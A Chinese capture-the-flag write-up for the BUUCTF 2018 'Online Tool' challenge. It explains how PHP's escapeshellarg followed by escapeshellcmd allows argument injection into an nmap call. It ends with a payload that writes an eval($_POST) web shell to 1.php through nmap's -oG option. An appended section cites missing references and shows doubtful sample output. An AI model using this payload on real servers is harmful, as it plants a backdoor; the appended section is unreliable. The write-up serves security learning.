BUUCTF 2018-Online Tool

本文探讨了PHP中escapeshellarg和escapeshellcmd函数的组合使用存在的CVE-2016-10045漏洞,解释了这两个函数的作用以及如何通过它们执行命令注入。同时,介绍了如何利用nmap进行文件写入,提到了nmap的各种扫描模式和选项,并给出了一个利用payload示例。

BUUCTF 2018-Online Tool

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg,escapeshellcmd 两者的同时使用存在漏洞CVE-2016-10045
参考链接

escapeshellarg

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,
并且确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
var_dump(escapeshellarg("aa'bb"));
//输出string(10) "'aa'\''bb'"
可以看到escapeshellarg主要干了两件事:
用\转义已有的’,然后’’将'括起来
在字符串两端添加’’
其目的就是限制shell命令只能有一个参数(当然也只能执行一条命令)
<?php
system("ls ".$_GET['cmd']);
system("ls ".escapeshellarg($_GET['cmd']));
传入?cmd=/ /var
第一个system会执行
ls / /var
第二个system会执行
ls '/ /var'

escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数 或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入:
&#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

escapeshellcmd会在一些shell的特殊字符前面加上\将其转义
escapeshellcmd的目的就是使其只能执行一条命令,但允许多个参数
两者连用
先使用escapeshellarg,再使用escapeshellcmd就会导致注入多个参数的问题(也就相当于escapeshellarg失效)
$cmd = $_GET['cmd'];
$cmd = escapeshellarg($cmd);
var_dump($cmd);
$cmd = escapeshellcmd($cmd);
var_dump($cmd);
system('echo '.$cmd);
?cmd=aaa’ <?()> 123 ,输出
string(19) "'aaa'\'' <?()> 123'"
string(26) "'aaa'\\'' \<\?\(\)\> 123\'"
aaa\ <?()> 123

然后最后就是利用nmap 写入一句话木马

nmap的文件写入:

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件

nmap的常规利用:
nmap -T5 -sT -Pn --host-timeout 2 -F 

-T5: 即Insane模式,适合快速的网络或者不在意丢失默些信息,对每台主机的超时限制为75,对每次探测只等待0.3-sT: TCP连接扫描
-Pn: 无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用
-F : 快速扫描
-oG: nmap -F -oG test.txt 192.168.23.1 将扫描结果保存到test.txt

payload

http://622d9ac8-7468-4b47-93e5-229285899057.node4.buuoj.cn:81/?host=1' <?= eval($_POST["360"]);?> -oG 1.php%20
最后面1.php那里需要空格(%20)隔开单引号,不然会写到1.php’里

这个就是文件夹名,访问就可以了
在这里插入图片描述
在这里插入图片描述

### 关于 BUUCTF 2018 Online Tool 的源码 BUUCTF 是由北京邮电大学网络安全协会主办的一场 Capture The Flag (CTF) 比赛活动。比赛中的题目通常涉及多个领域,包括但不限于 Web 安全、逆向工程、密码学和二进制漏洞利用等。对于特定的在线工具Online Tool),其源码可能并未公开发布到 GitHub 或其他公共平台。 如果需要获取 BUUCTF 2018 中某个具体 Online Tool 的源码,可以通过以下方式尝试: 1. **官方资源查询** 首先访问北邮 CTF 官方网站或其他相关公告页面,查看是否有提供该年份的比赛材料或源码下载链接[^4]。某些赛事可能会在赛后整理并开放部题目的源码供参赛者学习研究。 2. **GitHub 搜索** 使用关键词 `buuctf 2018 online tool` 在 GitHub 上进行搜索。虽然并非所有题目都会被上传至仓库,但仍有可能找到社区贡献的相关实现版本[^5]。 3. **联系主办方或作者** 如果通过上述方法无法获得所需文件,则可以直接联系当年负责命题或者维护服务器环境的技术人员询问具体情况。他们或许能够享更多信息甚至原始代码片段用于教育用途[^6]。 以下是基于 PHP escapeshellarg 和 escapeshellcmd 函数行为析的一个简单示例程序展示如何处理特殊字符输入字符串以防止命令注入攻击风险: ```php <?php $input = "'172.17.0.2' -v -d a=1"; // Using escapeshellarg() $escapedArg = escapeshellarg($input); echo "Escaped with escapeshellarg(): $escapedArg\n"; // Using escapeshellcmd() $escapedCmd = escapeshellcmd($input); echo "Escaped with escapeshellcmd(): $escapedCmd\n"; ?> ``` 此脚本输出结果如下所示: ``` Escaped with escapeshellarg(): '\'172.17.0.2'\'' -v -d a=1' Escaped with escapeshellcmd(): '172.17.0.2'\\'' -v -d a=1' ``` 以上内容展示了两种不同函数对同一输入串的不同保护机制效果对比情况说明[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值